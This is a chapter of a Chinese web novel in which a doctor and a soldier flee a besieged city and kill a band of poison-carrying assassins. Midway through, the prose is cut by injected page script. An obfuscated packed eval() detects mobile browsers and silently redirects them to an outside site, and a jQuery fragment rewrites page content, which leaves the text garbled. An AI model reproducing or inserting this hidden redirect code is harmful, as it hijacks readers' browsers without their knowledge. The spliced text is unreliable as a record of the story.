乖,叫爹!一宅三生

96. 第 96 章

斯有欢站在院子里,看着西面的大火,以及越来越近的厮杀声,也不由得冒了一脑门子汗。


“杀进来了?”她问黄思成。


黄思成脸色惨白,看着她道:“应该是。”


“这事我没经验,黄药官,一般你们遇到这种事情的时候是怎么办来着?”斯有欢虚心请教。


黄思成其实很慌,可面对一个比自己要小上不少的丫头,他勉强稳住心神:“一般听守城将军的。”


“自己先跑有没有错?”


黄思成:“?”


黄思成一个药官,又不是兵卒,负责在伤兵营里发放药材,哪有这种出事了先跑的经验?


但斯有欢目光灼灼看着他等答案,黄思成只好道:“不知道。”


两人面面相觑,先前跑出去的一部分伤兵又跑了回来,进了小巷就开始大吼:“快,将军说撤!”


得到明确指令的斯有欢立刻行动,将停在院子里的板车推到中间,吩咐黄思成:“你把他们扶上来,我们推着走!”


黄思成愣了一下,立刻上前帮忙。一个人影此时从天而降,斯有欢反应迅速,手脚利落地蹿到了旁边。


“你跑什么?”陆为安没好气地揪住她后领。


这熟悉的姿势让斯有欢立刻明白他的用意,连忙喊:“这还有伤员呢!”


陆为安倒是挺佩服她到哪都顾着病人,将人提溜在手里:“有人安排。你们赶紧跟上。”斯有欢眼前一花上了屋顶。


“百姓呢?”站得高以后,轻易就发现西门那边战火冲天,也不见城中百姓家里有灯亮起,睡得太死不可能,淡定如常就更不可能——斯有欢自问都腿软。


陆为安拎着她逃命,根本不回话。


此时不用斯有欢出力,她老老实实像个被揪住后颈皮的猫就行,但眼睛没空着,眼珠子乱转,尽可能地拓展视线后,斯有欢得出一个结论——百姓应该早撤走了。


难怪陶副将没有跟她一起去小巷里,估计一出门直接就运出了城。


斯有欢看了一会,判断出陆为安应该是带着自己往东城门去。北城门那忽然发出了轰然巨响,斯有欢不由一惊,陆为安却毫无影响,甚至速度更快了一些。


就这么放弃靖城了?


陆为安带着斯有欢一口气奔到了四城门外的荒郊,这是当时运粮进城的路。斯有欢瞧着眼熟,心里更安定了些。


陆为安却忽然停了下来,松开了手。这地方前不着村后不着店,斯有欢不明白他停在这里做什么,却听陆为安道:“不要慌。”


斯有欢心一沉,什么意思?下一刻,路边忽然多了几个黑影。


她想起那晚遇袭,又来?你真是个扫把啊!


斯有欢还没在心里骂完陆为安,杀手已经扑了上来。她机灵地蹲了下去,陆为安的脚从她头顶踢过,第一个攻上来的黑衣人被踹飞,手中的刀堪堪贴着斯有欢划过去,她咬着牙一声没吭。


陆为安拔出腰上的剑,格挡开杀手砍来的刀锋,伸手一拽,斯有欢跟个球一样在地上滚了一圈,龇牙咧嘴地看着刀砍在地上蹦出的火星。


她手在地上抓了一把,摸到个拇指粗的树枝。随即又身不由己地被甩了半圈,身体和扑上来的杀手撞上,即使她再咬牙,也闷哼了一声,太疼了。


陆为安右手挥剑,左手甩斯有欢,一时居然也挡住了五个黑衣杀手的攻击。只是对于作为兵器之一的斯有欢,无异于是种折磨——她甚至觉得被人砍上一刀,也好过这种拎来甩去的折磨。


一直逆来顺受的斯有欢立刻挣扎起来。陆为安猝不及防,手一滑,居然让斯有欢从他手里滚了出去。


久攻不下的杀手立刻交换了一个眼神。


陆为安脸色都未变,只是立刻向斯有欢移动,五个黑衣人分开,三个协力挡住陆为安,两个则围住斯有欢,意图明显,先将这个逮住,用来威胁陆为安。


陆为安手上的剑已经舞出了残影,冰冷的剑身仿佛一道扇面扇向黑衣人。他清楚知道面对两个杀手,斯有欢只有束手就擒的份,他只能快一点,再快一点,才可能为斯有欢赢得一线生机。


然而即使他在瞬息间割破了一个杀手的喉咙,另外两个也已经将斯有欢围了起来,举起了刀。


两声惨叫在这黑夜的打斗中显得有些突兀,眉头深锁将第二个黑衣人的右手削掉的陆为安惊讶地发现居然不是斯有欢叫的。她身形虽然狼狈,但仍从两个杀手的围攻下跌跌撞撞地滚了出去。


不及去看到底发生了什么,陆为安一剑穿心解决完了第三个杀手,身形一晃到了第四个杀手身边。对方紧紧闭着眼睛,即使蒙着面也看得出很痛苦,听到破风声伸手格挡,被陆为安一剑封喉。再去看,第五个杀手已经在斯有欢面前举起了刀。


“蹲下!”陆为安喝道,顺手就将手中的剑掷去。长剑破空而去,在刺穿杀手身体之前,杀手先一步倒了下去,露出斯有欢面无表情的脸。


看到这一幕的陆为安比看到斯有欢被伤还要意外,他几步走到杀手面前,看到对方腹部插着的一节树枝。


“你……”陆为安一时词穷。


“你是不是得罪谁了?”斯有欢看着还有一口气的杀手,觉得整个身体都在发沉。但她仍支撑自己站在原地,用冷静得匪夷所思的语气问:“你要是一直这么倒霉,能离我远点吗?”


陆为安笑出声来:“你比我想象得还要厉害。不害怕吗?”


斯有欢作为一个医生,广泛意义上来说,手上的血不会比陆为安少;这要是陆为安第一次上战场,恐怕得靠边站。用一根树枝精准地插进敌人的脾脏使对方瞬间失去行动力,难是难了点,但对于斯有欢这种经历过几次暗杀的人来说,也并非毫无准备。<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519023|162549||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>但陆为安笑得这么开心,在她眼里就十分让人讨厌。


她瞬间有些情绪失控,若不是顾忌还得靠他带自己跟上大部队,恨不得伸手给陆为安一个大逼兜。


“笑什么笑?”


地上的杀手不过是腹部插着一根树枝,但就在两人说话的这点功夫,已经没了气息。陆为安蹲下查看,不免感慨:“这么准?”一击毙命,凑巧?


斯有欢只觉得脑子涨疼,心想自己一个治病救人的外科医生,跑到这个地方来,尼姑也当了,行当也转了,这会居然还杀了人!说不上是生气还是懊恼还是其他,总之一肚子情绪无处发泄。


“我第一次杀人是在去年。跟着周将军去剿匪,急着建功立业,穷追寇首。还以为此人称霸一方有什么能耐,却不想是个软脚虾,抓着个女人挡在身前,气得我一剑削掉了他半个脑袋。脑浆子带血的糊了我一脸。”陆为安抓了抓头发,“恶心了好久。”


斯有欢心道,我能跟你一样么?我奉公守法,是五好市民!我虽然也剖人肚子,但我是有执照的!


“回去做了好久的噩梦,也不敢跟人说。”陆为安站起来,走向没了右手的那个,“倒还不如现在你。”


斯有欢几乎要冷笑出声,你还好意思跟我比,要不是你连累我,我能遇到这种破事!


陆为安抓起刺客的头,毫无意外,人已经死了。并非因为被砍断了手,而是服毒。


“应该是死士。”


斯有欢心道,想对付你的人,真是下足了血本。


陆为安没了方才东拉西扯的闲心,眉头紧皱不知道在想些什么。斯有欢觉得此时的无所事事让她整个人有些飘忽,她得找点事让自己落定下来顺便转移下注意力。于是斯有欢上前了几步,伸长脖子瞅了瞅。


躺着的刺客嘴角有血,面色发黑。她仔细瞧了瞧,蹲下从另一个刺客身上撕下一块布料包着自己的手,挨个将五个刺客挨个看了一遍。


陆为安安静地看完,问:“发现了什么?”


“不是北齐。”


陆为安当然也发现了:“也不像大周人。”


斯有欢对北齐人的印象主要来自于质子,带有鲜明特色的宽额头高鼻梁,这五个人一个都没有。


“和那晚的是一路的吗?”


陆为安摇头,这就是奇怪的地方。如果这几个是大周人士,他心里倒有几个猜测,可连斯有欢都看出不是,事情就显得更为复杂。


“这么多人想要你死,你到底干嘛了?”斯有欢没好气的问。


一头雾水的陆为安更没好气的回答:“为什么不是冲你来的?”


我一个先进青年,哪那么招人厌!斯有欢心里啐了他一口:“胡说八道!”


虽然的确有胡说八道的成分,但陆为安觉得并非完全不可能,也许是谁发现了斯有欢是个妖孽,收她来了。